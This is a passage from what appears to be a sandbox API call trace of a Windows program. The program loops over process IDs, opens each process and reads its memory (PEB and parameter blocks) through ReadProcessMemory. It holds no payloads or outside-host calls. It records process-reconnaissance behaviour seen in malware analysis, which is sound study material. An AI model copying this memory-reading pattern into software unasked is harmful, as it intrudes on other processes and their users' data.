_Buffer="3940") returned 0x0 [0353.794] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0353.794] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.794] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.795] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0353.795] GetLastError () returned 0x0 [0353.795] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.796] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.796] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.797] malloc (_Size=0x60) returned 0xeb6540 [0353.797] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb6540, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0353.797] free (_Block=0xeb6540) [0353.797] CloseHandle (hObject=0xa9c) returned 1 [0353.797] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0353.798] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0353.798] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.798] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0353.799] CloseHandle (hObject=0x0) returned 0 [0353.799] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0353.799] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0353.799] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.799] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.800] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0353.800] GetLastError () returned 0x0 [0353.800] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.801] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.801] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.802] malloc (_Size=0x70) returned 0xea93a0 [0353.802] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea93a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.806] free (_Block=0xea93a0) [0353.807] CloseHandle (hObject=0xa9c) returned 1 [0353.807] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0353.807] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0353.807] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.807] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.808] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0353.808] CloseHandle (hObject=0x0) returned 0 [0353.808] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0353.809] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0353.809] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.809] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.810] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0353.810] GetLastError () returned 0x0 [0353.810] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.810] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.811] malloc (_Size=0x7e) returned 0xe87e50 [0353.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe87e50, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87e50*, lpNumberOfBytesRead=0x0) returned 1 [0353.811] free (_Block=0xe87e50) [0353.812] CloseHandle (hObject=0xa9c) returned 1 [0353.812] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0353.812] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0353.812] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.812] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0353.813] GetLastError () returned 0x0 [0353.813] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.814] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.814] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.814] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.814] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.814] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.814] malloc (_Size=0xbc) returned 0xec9480 [0353.814] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0353.815] free (_Block=0xec9480) [0353.815] CloseHandle (hObject=0xa9c) returned 1 [0353.815] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0353.816] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0353.816] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.816] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.817] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0353.817] GetLastError () returned 0x0 [0353.817] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.821] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.821] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.821] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.821] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.821] malloc (_Size=0x62) returned 0xeb6690 [0353.821] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6690, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0353.822] free (_Block=0xeb6690) [0353.822] CloseHandle (hObject=0xa9c) returned 1 [0353.822] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0353.823] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0353.823] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.823] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.824] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0353.824] GetLastError () returned 0x0 [0353.824] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.824] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.825] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.825] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.825] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.825] malloc (_Size=0x84) returned 0xe881b0 [0353.825] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe881b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe881b0*, lpNumberOfBytesRead=0x0) returned 1 [0353.826] free (_Block=0xe881b0) [0353.826] CloseHandle (hObject=0xa9c) returned 1 [0353.826] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0353.826] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0353.826] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.826] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.827] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0353.827] GetLastError () returned 0x0 [0353.827] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.828] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.828] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.828] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.828] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.828] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.828] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.829] malloc (_Size=0x6a) returned 0xea8b20 [0353.829] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea8b20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0353.829] free (_Block=0xea8b20) [0353.829] CloseHandle (hObject=0xa9c) returned 1 [0353.829] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0353.830] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0353.830] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.830] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.831] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0353.831] GetLastError () returned 0x0 [0353.831] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: 